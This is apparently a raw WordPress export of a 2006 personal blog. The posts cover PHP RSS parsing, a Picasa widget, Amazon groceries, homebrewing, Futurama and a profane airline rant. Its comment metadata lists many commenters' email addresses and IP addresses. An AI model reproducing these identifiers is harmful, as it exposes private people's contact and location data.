    • '; $uglyscores = preg_split('/^(([^)]*))[^s]|s(([^)]*))[^s]/', $item['title'],-1,PREG_SPLIT_DELIM_CAPTURE); $i=1; // skip the first element $scores = array(); while ($i'; } } echo ''; ?>
    And there you have it. If you want to display different information, just modify the stuff in those echo lines towards the end. The key is finding the RSS feed with the data you?re interested in. Once you have that, it?s usually fairly straightforward to parse it and redisplay it nicely. )
    ]]>
    20 2006-05-26 01:21:05 2006-05-26 07:21:05 open open fun-with-php-and-wordpress publish 0 0 post 0 _utw_tags_0 a:9:{i:0;O:8:"stdClass":1:{s:3:"tag";s:11:"exactscores";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"feed";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"hockey";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"parsing";}i:4;O:8:"stdClass":1:{s:3:"tag";s:3:"PHP";}i:5;O:8:"stdClass":1:{s:3:"tag";s:6:"regexp";}i:6;O:8:"stdClass":1:{s:3:"tag";s:3:"rss";}i:7;O:8:"stdClass":1:{s:3:"tag";s:7:"sidebar";}i:8;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} _edit_last 1 _edit_lock 1222720124 _geo_location , aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} 108 andy@teamplaylotto.com http://blog.teamplaylotto.com 87.74.57.111 2007-01-16 15:48:42 2007-01-16 21:48:42 1 0 0 111 otto@ottodestruct.com http:// 169.198.254.6 2007-01-17 09:17:33 2007-01-17 15:17:33 1 0 1 181 ataylor20@gmail.com http://bombpost.com 216.136.24.141 2007-02-14 14:00:31 2007-02-14 20:00:31 1 0 0 160 wsphloyd@yahoo.com http://www.firebettman.com 65.24.133.246 2007-02-05 15:14:23 2007-02-05 21:14:23 1 0 0 154 wsphloyd@yahoo.com http://www.firebettman.com 65.24.133.246 2007-02-02 11:59:58 2007-02-02 17:59:58 1 0 0 187 otto@ottodestruct.com http:// 169.198.254.6 2007-02-15 12:06:51 2007-02-15 18:06:51 1 0 1
    Wanna buy a castle? http://ottodestruct.com/blog/2006/wanna-buy-a-castle/ Thu, 01 Jun 2006 16:27:35 +0000 http://ottodestruct.com/blog/2006/06/01/wanna-buy-a-castle/ Gallery of about 100 or so castles for sale around the world.

    After seeing these, I kinda want a moat.

    read more | digg story

    ]]>
    19 2006-06-01 10:27:35 2006-06-01 16:27:35 open open wanna-buy-a-castle publish 0 0 post 0 _geo_location , _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"castle";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"fantasy";}i:2;O:8:"stdClass":1:{s:3:"tag";s:4:"moat";}i:3;O:8:"stdClass":1:{s:3:"tag";s:5:"photo";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"photography";}i:5;O:8:"stdClass":1:{s:3:"tag";s:11:"real-estate";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    DNF = No Rush… http://ottodestruct.com/blog/2006/dnf-no-rush/ Wed, 14 Jun 2006 17:34:34 +0000 http://ottodestruct.com/blog/2006/06/14/dnf-no-rush/ Just saw this headline over on slashdot and got the shock of my life:
    3D Realms Won’t Rush Duke Nukem Forever

    No kidding? After 10 years of development, they’re not going to rush it out the door? Really? Shocking!

    There’s a pretty funny discussion going on over there about this shocking, shocking news.

    My favorite comment so far:
    “…Duke Nukem Forever has taken more time to create than NASA took to design & build a pair of robots, fly them to Mars, and drive them around for a year.” (note, it’s actually 2.5 years)

    Addition: A good page with info on the things that have happened while DNF has been in development: http://duke.a-13.net/

    ]]>
    18 2006-06-14 11:34:34 2006-06-14 17:34:34 open open dnf-no-rush publish 0 0 post 0 _geo_location , _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"3drealms";}i:1;O:8:"stdClass":1:{s:3:"tag";s:3:"dnf";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"duke-nukem";}i:3;O:8:"stdClass":1:{s:3:"tag";s:18:"duke-nukem-forever";}i:4;O:8:"stdClass":1:{s:3:"tag";s:4:"mars";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"nasa";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"rover";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Amazon Grocery http://ottodestruct.com/blog/2006/amazon-grocery/ Thu, 15 Jun 2006 16:26:17 +0000 http://ottodestruct.com/blog/2006/06/15/amazon-grocery/ Just saw this on Digg. Amazon now sells groceries. Looks like most of it is in bulk, but this also means that it qualifies for free shipping in a lot of cases. All non-perishable items as far as I can see. So if you happen to need a lot of dish soap, or want to stock up on Mac & Cheese, or just have this craving for a freakin’ ton of jerky, click the banner above. )]]> 17 2006-06-15 10:26:17 2006-06-15 16:26:17 open open amazon-grocery publish 0 0 post 0 _geo_location , _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:10:"amazon.com";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"delivery";}i:3;O:8:"stdClass":1:{s:3:"tag";s:13:"free-shipping";}i:4;O:8:"stdClass":1:{s:3:"tag";s:9:"groceries";}i:5;O:8:"stdClass":1:{s:3:"tag";s:7:"grocery";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"jerky";}i:7;O:8:"stdClass":1:{s:3:"tag";s:4:"soap";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} New Photo Album http://ottodestruct.com/blog/2006/new-photo-album/ Sat, 17 Jun 2006 04:12:03 +0000 http://ottodestruct.com/blog/2006/06/16/new-photo-album/ I just got access to the PicasaWeb test, and uploaded a bunch of pictures. Gotta say, this thing is great! Picasa is an excellent photo organizer, which now has a bunch of new features.

    • Geotagging of pictures, integrated with Google Earth.
    • Upload photos to your own online photo album.
    • Online albums have RSS feeds.
    • Choose the quality of your online pictures.
    • 250 meg of free album space (6 gig if you pay for it).

    It’s good stuff, I recommend signing up if you haven’t already.

    You can check out my public photo albums here.

    ]]>
    16 2006-06-16 22:12:03 2006-06-17 04:12:03 open open new-photo-album publish 0 0 post 0 _geo_location , _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"google";}i:1;O:8:"stdClass":1:{s:3:"tag";s:11:"photo-album";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"photos";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"picasa";}i:4;O:8:"stdClass":1:{s:3:"tag";s:9:"picasaweb";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Picasa Web Wordpress Widget http://ottodestruct.com/blog/2006/picasa-web-wordpress-widget/ Sat, 17 Jun 2006 23:21:54 +0000 http://ottodestruct.com/blog/2006/06/17/picasa-web-wordpress-widget/ Picasa Web Widget Basically it puts a slideshow of photo thumbnails from one or more Picasa Web RSS feeds into your sidebar. You can click them to go to the photo's page on Picasa Web. Uses divs and names and all that good CSS stuff to make styling them easy, if you want. Enjoy! ---- Update: Version 1.1 actually works now. ) ---- Update: Version 1.2 now has four additional options. Now you can: -Turn javascript image rotation on/off. -Limit how many images will be rotated through. -Display more than just the one image. -Control whether or not the images are shown in a random order. The image rotation script has also been corrected to work in both IE and Firefox (and probably others as well). ---- Update: Version 1.3 adds Brian's fix for filenames with unusual characters in them being in your web album. ---- Update: Version 1.4 - Output will now validate as valid XHTML. Should work all the time. Important note: Use the class for CSS styling of anything, the ID is only there when you are only showing one image. - Added the ability to display descriptions below the thumbnail. It even works with rotating images. ) - Fixed the case where you are showing multiple images in a non-random order. ---- Update: Version 1.5 - Corrected a problem where it would only show the last feed when you give it multiple feeds. ---- Update: Version 1.6 - Corrected some cases where the rotate images javascript would fail to work in certain scenarios.]]> 15 2006-06-17 17:21:54 2006-06-17 23:21:54 closed closed picasa-web-wordpress-widget publish 0 0 post 0 _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"google";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"picasa";}i:2;O:8:"stdClass":1:{s:3:"tag";s:9:"picasaweb";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"widget";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"widgets";}i:5;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} DiggURL http://digg.com/programming/Picasa_Web_Wordpress_Widget _edit_last 1 _edit_lock 1222719985 _geo_location , aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} 97 mick@mickwest.com http://cowboyprogramming.com 67.42.179.172 2007-01-08 01:04:46 2007-01-08 07:04:46 1 0 0 82 rszg@verizon.net http://manoverboard.zgionline.com/ 71.166.50.92 2006-12-30 21:11:15 2006-12-31 03:11:15 1 0 0 66 Marshall@alldj.org http://alldj.org 72.232.183.102 2006-12-15 07:51:21 2006-12-15 13:51:21 1 0 0 72 otto@ottodestruct.com http:// 169.198.254.6 2006-12-29 09:54:22 2006-12-29 15:54:22 1 0 1 71 wvpv@sprignaturemoves.com http://www.sprignaturemoves.com 198.204.111.4 2006-12-28 10:17:26 2006-12-28 16:17:26 1 0 0 288 optikwhite@gmail.com http://www.deconstructiverelativity.org 70.162.106.249 2007-03-09 15:47:41 2007-03-09 21:47:41 here]]> 1 0 0 354 Spy98@gmx.net http://spy98.bitshifters.net 217.93.70.132 2007-03-23 04:52:56 2007-03-23 09:52:56 1 0 0 355 Spy98@gmx.net http://spy98.bitshifters.net 217.93.70.132 2007-03-23 05:22:53 2007-03-23 10:22:53 1 0 0 356 http://spy98.bitshifters.net/archives/picasa-web-albums-wordpress/ 81.209.188.81 2007-03-23 06:07:46 2007-03-23 11:07:46 1 pingback 0 0 667 smilyjf@gmail.com 59.167.6.95 2007-05-09 04:37:11 2007-05-09 09:37:11 1 0 0 775 hiserote@tbclincoln.org 65.28.74.130 2007-05-19 02:00:45 2007-05-19 07:00:45 1 0 0 1521 ama-misc@mltp.com 205.172.241.12 2007-08-10 11:52:17 2007-08-10 16:52:17 1 0 0 3521 hardik.tank@gmail.com http://hardik.info 122.169.148.204 2007-10-19 12:17:51 2007-10-19 17:17:51 1 0 0 6177 mick@mickwest.com http://cowboyprogramming.com 67.42.179.172 2007-01-08 00:03:46 2007-01-08 05:03:46
    I changed the line
    $photos[$count]['description'] = htmlspecialchars($row['description']);

    to
    $photos[$count]['description'] = $row['description'];

    and it displayed images, but messed up. I wonder if you uploaded a debug version by mistake?]]>
    1 0 0
    6174 wvpv@sprignaturemoves.com http://www.sprignaturemoves.com 198.204.111.4 2006-12-28 09:17:26 2006-12-28 14:17:26 1 0 0 6175 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2006-12-29 08:54:22 2006-12-29 13:54:22 1 0 0
    Amazon has Pocky! http://ottodestruct.com/blog/2006/amazon-has-pocky/ Mon, 19 Jun 2006 05:39:05 +0000 http://ottodestruct.com/blog/2006/06/18/amazon-has-pocky/ Pocky!I love Pocky. It’s such incredibly good stuff. Excellent for a quick snack. Next time you’re ordering something off Amazon, do yourself a favor and throw some Pocky on that order. They have several flavors I haven’t tried too, which means only one thing: Massive Pocky order time. )]]> 14 2006-06-18 23:39:05 2006-06-19 05:39:05 open open amazon-has-pocky publish 0 0 post 0 _geo_location , _utw_tags_0 a:3:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:9:"delicious";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"pocky";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Sweet Zombie Jesus!! http://ottodestruct.com/blog/2006/sweet-zombie-jesus/ Fri, 23 Jun 2006 06:48:26 +0000 http://ottodestruct.com/blog/2006/06/23/sweet-zombie-jesus/ The impossible has occurred. The robot devil is skiing in hell right now.

    Futurama has been picked up by Comedy Central! Whooo!

    From Digg:
    Comedy Central has ordered 13 new episodes of the animated series that Fox canceled two years ago. Billy West, Katey Segal and other stars signed deals this week to return the show to TV. In getting a second life, “Futurama” is following the path taken by “Family Guy,” which also found post-cancellation success on DVD and cable reruns.

    Excellent. Love that show.

    read more | digg story

    ]]>
    13 2006-06-23 00:48:26 2006-06-23 06:48:26 open open sweet-zombie-jesus publish 0 0 post 0 _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:10:"adult-swim";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"cartoon";}i:2;O:8:"stdClass":1:{s:3:"tag";s:14:"comedy-central";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"futurama";}i:4;O:8:"stdClass":1:{s:3:"tag";s:8:"simpsons";}i:5;O:8:"stdClass":1:{s:3:"tag";s:10:"television";}i:6;O:8:"stdClass":1:{s:3:"tag";s:2:"tv";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    More about Amazon Grocery http://ottodestruct.com/blog/2006/more-about-amazon-grocery/ Sat, 01 Jul 2006 18:32:07 +0000 http://ottodestruct.com/blog/2006/07/01/more-about-amazon-grocery/ Back when I wrote about Amazon Grocery the first time, I also placed a couple orders.

    I’d been wanting a particular book, and my Amazon Prime trial membership had just expired (and I didn’t feel that “free” shipping was worth $70+ a year), so I started looking for stuff I needed which they had.

    What I found I was running low on was toilet paper.

    A bit of searching and I ran across some TP on Amazon. Plus the price was just right to make both my book and the TP get free shipping. Perfect.

    So off my order went, for my book and for Scott Toilet Paper. Excellent.

    It took it about 10 days to get here. Good thing I was only running low and not out of the stuff. But the book is good, and the TP.. Well… It’s paper. I don’t expect much out of my TP.

    Scott TP

    Nice handy dispenser box, I must say. Although I did get some odd looks from the apartment people when I picked up my shipment of what was clearly a bulk box of toilet paper. Hey, I looked right back at ‘em. A man’s gotta wipe.

    Plus, this is rapid-dissolving, supposedly, so no more damn clogged up toilets. ;)

    I still don’t see myself using this Amazon Grocery stuff for anything more than filler items for when I order books and such, to get up to the free shipping amount, but still, at least now those filler items will be useful stuff that I happen to need. Not sure where I’ll put these bulk items though.

    ]]>
    12 2006-07-01 12:32:07 2006-07-01 18:32:07 open open more-about-amazon-grocery publish 0 0 post 0 _utw_tags_0 a:9:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:10:"amazon.com";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"delivery";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"filler";}i:4;O:8:"stdClass":1:{s:3:"tag";s:13:"free-shipping";}i:5;O:8:"stdClass":1:{s:3:"tag";s:9:"groceries";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"grocery";}i:7;O:8:"stdClass":1:{s:3:"tag";s:5:"scott";}i:8;O:8:"stdClass":1:{s:3:"tag";s:12:"toilet-paper";}} _utw_tags_ a:9:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:10:"amazon.com";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"delivery";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"filler";}i:4;O:8:"stdClass":1:{s:3:"tag";s:13:"free-shipping";}i:5;O:8:"stdClass":1:{s:3:"tag";s:9:"groceries";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"grocery";}i:7;O:8:"stdClass":1:{s:3:"tag";s:5:"scott";}i:8;O:8:"stdClass":1:{s:3:"tag";s:12:"toilet-paper";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 956 http://ottodestruct.com/blog/2007/06/13/grocery-shopping-online/ 208.109.78.124 2007-06-13 08:17:44 2007-06-13 13:17:44 1 pingback 0 0
    Fireworks tip for the future http://ottodestruct.com/blog/2006/fireworks-tip-for-the-future/ Mon, 10 Jul 2006 21:52:55 +0000 http://ottodestruct.com/blog/2006/07/10/fireworks-tip-for-the-future/ Little tip for those of you into the whole “explosives” thing…

    When having a bottle rocket war, buy the cheap ones. Yes, the good ones have a more reliably burning fuse and thus are easier to aim and fire correctly, however they also have a much more powerful thrust to them, and thus the impact is more likely to leave serious wounds. I was pretty much pwned by my brother at our little rocket-fest last Tuesday, and the wound has turned into a fairly ugly scabbed over hole in my shoulder, along with some colorful bruising around it.

    This is all from the impact of the rocket, mind you. The rocket itself rebounded off behind me and exploded a good distance away, as they always tend to do. Usually the cheap ones will have just enough thrust to tap you and possibly to burn your T-Shirt, however these packed a bit more of a wallop. They even bruised my leg through my blue jeans, although not nearly as badly and that wound has now healed entirely. The shoulder wound is recovering much more slowly and with a nice yellow jaundicey color patch for a bruise. )

    But despite my disfigurement, I had a good weekend. Got my drink on at Sleep Out Louie’s. Nice place on the weekends, especially with brunch until 2. I love those crab meat omelets. Also finally got some shopping done and all that jazz. Looking forward to September though. D

    ]]>
    11 2006-07-10 15:52:55 2006-07-10 21:52:55 open open fireworks-tip-for-the-future publish 0 0 post 0 _utw_tags_0 a:9:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"alcohol";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"bruise";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"crab";}i:4;O:8:"stdClass":1:{s:3:"tag";s:9:"fireworks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"omelet";}i:7;O:8:"stdClass":1:{s:3:"tag";s:4:"pain";}i:8;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Word from the scene http://ottodestruct.com/blog/2006/word-from-the-scene/ Sun, 30 Jul 2006 01:58:35 +0000 http://ottodestruct.com/blog/2006/07/29/word-from-the-scene/ Okay, so I go out tonight mainly to fuel my hunger and thirst. While I have plenty of stash packed away to fuel the thirst, I’m sadly low on foodstuffs. It’s been an interesting couple hours.

    First, I head over to Wang’s. I’d just like to state, for the record, that this is the best named Chinese place, ever. Forget the play on word places, Wang’s doesn’t mess around when it comes to suggestive names. Wang’s.

    Wang’s is right up the street, less than a block away. They used to be over at #1 Beale, but that old building got demolished (nobody seems to really know why), and now they’re over at the corner of Main and Gayoso. They’ve been there for a few months, I’ve just been too lazy to stop by. And I must say, their new digs? NICE. They have possibly the best stage I’ve ever seen in a restaurant. I may drop back over in an hour or so to hear whatever band is playing, because they did not skimp one bit on the sound system, or the stage. It’s huge, takes up like a quarter of the place, and looks like they could put on one hell of a show.

    Anyway, I get some chinese food and a couple of chinese beers, and notice that the place is practically empty. This naturally concerns me, because I like the places around here to do well. Doing well means they stick around which means more fun for me, because I ain’t leaving anytime soon.

    So I finish my meal, pay the extremely reasonable tab, and head over to Sleep Out Louie’s, or as Paul calls it, the Union Avenue Branch Office. They have a couple playing in there that I had not heard before. Pam and Terry or some such thing. I cannot recall. In any case, they’re pretty good. I listen to them a while, while playing some NTN Trivia and drinking mixed drinks, since I’m not quite trusting their beer dispenser system yet. Seriously, I love Louie’s, and I make it a point to go every Sunday morning if possible, but the beer taps need a major overhaul. First they had to clean the lines, then the fridges went out so it was warm. And IMO, it was never really cold to begin with. Still, they have very cheap liqour, so I tend to stick to the mixed drinks and we get along just fine.

    In any case, Louie’s is dead too. There’s like three tables full, and nobody at the bar, and this is unusual for 7:30 on a Saturday. So I pay my cheap tab, and head to the Flying Saucer, (aka Paul’s Second Avenue Branch Office). And they’re practically empty too!

    I have one beer, then ask around, and appearantly there’s not only a baseball game going on tonight, but some kind of concert. Looking around the intarweb, appearanly Widespread Panic played last night and is playing again tonight. I had no idea. That’s what I get for working hard all week and not paying attention. Not that I’d go and see them, but still, I like to be in the loop on this sort of thing.

    So here I am at home, enjoying a Red Bull and Ketel, and typing this worthless drivel. Oh well. With any luck, Mandy will stop by later in the week on her way to NC, although I am doubtful at this stage. It’s kinda out of her way and all. Yes, this is a blatent attempt to guilt Mandy into showing up anyway. )

    Enjoy the links.

    ]]>
    10 2006-07-29 19:58:35 2006-07-30 01:58:35 open open word-from-the-scene publish 0 0 post 0 _utw_tags_0 a:14:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"alcohol";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"bars";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"beale";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:4;O:8:"stdClass":1:{s:3:"tag";s:8:"buzztime";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"drinking";}i:6;O:8:"stdClass":1:{s:3:"tag";s:13:"flying-saucer";}i:7;O:8:"stdClass":1:{s:3:"tag";s:5:"ketel";}i:8;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:9;O:8:"stdClass":1:{s:3:"tag";s:3:"NTN";}i:10;O:8:"stdClass":1:{s:3:"tag";s:8:"red-bull";}i:11;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}i:12;O:8:"stdClass":1:{s:3:"tag";s:9:"Tsing-Tao";}i:13;O:8:"stdClass":1:{s:3:"tag";s:5:"vodka";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    You’re On Notice http://ottodestruct.com/blog/2006/youre-on-notice/ Fri, 11 Aug 2006 04:20:59 +0000 http://ottodestruct.com/blog/2006/08/10/youre-on-notice/ On Notice]]> 9 2006-08-10 22:20:59 2006-08-11 04:20:59 open open youre-on-notice publish 0 0 post 0 _utw_tags_0 a:3:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"colbert";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"image";}i:2;O:8:"stdClass":1:{s:3:"tag";s:9:"on-notice";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Mr. Beer Mishap http://ottodestruct.com/blog/2006/mr-beer-mishap/ Sat, 12 Aug 2006 23:12:20 +0000 http://ottodestruct.com/blog/2006/08/12/mr-beer-mishap/ So I pull out the keg the other day to bottle the Blackberry Brew that I’ve been fermenting for a couple of weeks, and what do I discover? The keg damn near exploded, that’s what.

    Like I’ve said in earlier posts, the screw top system seems to have a few drawbacks. For one thing, the level of tightening that you need to use is questionable. I appearantly overtightened the lid, and the result was that the keg was overpressurized. Given that it is a fruit based beer, there’s a lot of fermentation going on, which means a lot of gas released. With it too tight, the gas couldn’t easily escape the keg and the keg was bulging and bent out of shape. Fortunately, it didn’t actually burst, but it was indeed pressurized, as I discovered when removing the lid and hearing the fizzzzzzz sound it made.

    The beer was fine and I was able to bottle it easily enough, but the keg is damaged to the point where I really can’t use it any more. It also did some damage to the tap mechanism, which is not surprising considering the quality of the mechanism anyway.

    I’ve changed my next club order to get a new keg, along with a 2 liter growler. The keg is only $10, so it’s not a big loss or anything, still, it is a bit annoying. I think I’ll keep using the Mr. Beer keg for smaller batches, but I’m definitely going to go buy a more sturdy fermenting vessel and make some larger batches as well. I’ll probably only continue to use the Mr. Beer for experimentation purposes, since I do find that an 8 liter batch is darn near perfect in terms of speed. You can have a decent beer made from start to finish in a month with that quantity, whereas the next bigger size (5 gallons) would take at least 3 months or so.

    All in all, given the quality of the keg in such circumstances, and the non-dishwasher safeness of it, I can only recommend the Mr. Beer setup for a) people new to home-brewing and wanting to learn easily, and b) people wanting an easy way to quickly experiment with new brews and styles. The lack of a proper airlock with a ball valve (to prevent contamination) just makes the Mr. Beer keg suitable only for very short fermentation times. 2 weeks, maximum.

    Just be sure not to overtighten the lid.

    ]]>
    8 2006-08-12 17:12:20 2006-08-12 23:12:20 open open mr-beer-mishap publish 0 0 post 0 _utw_tags_0 a:10:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:8:"beer-keg";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"blackberry";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"brewing";}i:4;O:8:"stdClass":1:{s:3:"tag";s:10:"dishwasher";}i:5;O:8:"stdClass":1:{s:3:"tag";s:12:"fermentation";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"growler";}i:7;O:8:"stdClass":1:{s:3:"tag";s:8:"homebrew";}i:8;O:8:"stdClass":1:{s:3:"tag";s:8:"Mr.-Beer";}i:9;O:8:"stdClass":1:{s:3:"tag";s:7:"quality";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 125 glennb@newsgator.com http://glennberrysqlperformance.spaces.live.com 67.173.236.179 2007-01-24 22:03:01 2007-01-25 04:03:01 1 0 0 6254 ericg@mrbeer.com http://www.mrbeer.com 64.119.41.82 2008-08-18 15:24:16 2008-08-18 20:24:16
    I just want to extend my condolences for the loss of your keg. It happens to all of us sooner or later. Fruit beers are inherently risky, in part because of the extra fermentables. When the krausen gets up into the vent holes, bits of fruit can easily plug them up and allow pressure to build. At Mr.Beer, we've had some unfortunate messes as well. Over the years, we've learned that it's best to put the lid on fairly loosely, and leave the keg in a shallow dish (just in case it overflows). With the lid on very loosely, your beer's krausen is far less likely to clog the vent holes. If you ever see leakage, don't hesitate to remove the lid to clean those vent holes. The yeast are so healthy and active that the risk of contamination is pretty minimal. You might have a bit of leakage-type mess, but it is better than having fruit beer all over the ceiling and walls (I'm speaking from experience...). In any case, there is never any need to really crank down on your brew keg lid. As long as the threads catch, you're good to go.

    To help with your grieving process, we'd like to offer you a new keg. Call us at 1-800-852-4263 and we'll get you set up.

    Cheers!

    Eric Greene
    Brewmaster w/ Mr.Beer]]>
    1 0 0
    6255 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-08-18 15:36:57 2008-08-18 20:36:57 1 0 0
    Hefeweizen goodness http://ottodestruct.com/blog/2006/hefeweizen-goodness/ Sat, 26 Aug 2006 20:21:51 +0000 http://ottodestruct.com/blog/2006/08/26/hefeweizen-goodness/ I finally chilled a few liters of the Hefeweizen I made a couple months ago. Had some last night. Even picked up some actual lemons at the supermarket in preparation.

    The result: It’s good. Real, real good.

    I may have to go buy the brew shop and pick up a bigger fermenter vessel and some actual bottles. It came out very tasty. Just the right amount of flavor and no nasty aftertaste like, say, Paulander Hefeweizen. The amount of hops was just right, the cloudiness was perfect as long as I didn’t pour off the yeast, and I’m sure using the correct type of liquid yeast made some kind of difference. All I know is that it was way, way better than my last attempt at a wheat beer.

    In fact, the only Hefe I’ve ever had that beat this homebrew one was the Schalfly Hefeweizen at their brewhouse in St. Louis.

    So anyway, I’m probably going to try to perfect this particular beer. If I can find the receipe I used, that is. I’ll probably try to get some base ingredients instead of some of the normal canned stuff like the malt extracts and such, and make it up from scratch. Help me learn the process a bit better.

    ]]>
    7 2006-08-26 14:21:51 2006-08-26 20:21:51 open open hefeweizen-goodness publish 0 0 post 0 _utw_tags_ a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:9:"fermenter";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"hefeweizen";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"homebrew";}i:4;O:8:"stdClass":1:{s:3:"tag";s:4:"hops";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"schalfly";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"tasty";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"wheat-beer";}} _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:9:"fermenter";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"hefeweizen";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"homebrew";}i:4;O:8:"stdClass":1:{s:3:"tag";s:4:"hops";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"schalfly";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"tasty";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"wheat-beer";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Fuck Delta http://ottodestruct.com/blog/2006/fuck-delta/ Sun, 01 Oct 2006 20:17:22 +0000 http://ottodestruct.com/blog/2006/10/01/fuck-delta/ I think I’ll be able to hear Mandy’s cheer from here as she reads the title of this post.

    Okay, so I’m flying back from the Cayman’s yesterday. After you get into the airport on Grand Cayman, you’re naturally hit by the Duty Free shops. Cheap Liquor, basically. I spend the time to buy a bottle of Single Barrel Jack Daniel’s for my dad.

    Flight from Cayman to Atlanta: No problem.

    In the Atlanta airport, you have to go through customs, pick up your checked baggage, move it to a different conveyor belt across the way, and get on with your life. Simple. Straightforward. Except that there are security guards basically yelling that liquids are not allowed in carryon’s. So I’ve got this bottle of Jack that I transfer from my carryon into the checked baggage before I toss it onto the conveyor. Easy. Simple. And it’s exactly what these fuckers were screaming at me to do. So I get to Memphis. Grab my bags, go home. Open my bags.

    No bottle.

    No Homeland Security stickers. No marks on the bags. No nothing. The bottle is just gone.

    If I had paid a great amount for it, I’d be real fucking pissed. As it is, having got it Duty Free and at about 1/3rd of normal price, I’m only mildly pissed.

    So that’s it for me. No more fucking air travel. I’m fucking done with airlines. Unless I have a sudden need to cross a sea or something, I’m driving it. Period.

    Fuck Delta. Fuck Homeland Security. Fuck the airlines. Let ‘em go fucking bankrupt, I no longer have the slightest amount of sympathy for the fuckers. I am fucking done with ‘em.

    Cheer on, Mandy. Cheer on.

    ]]>
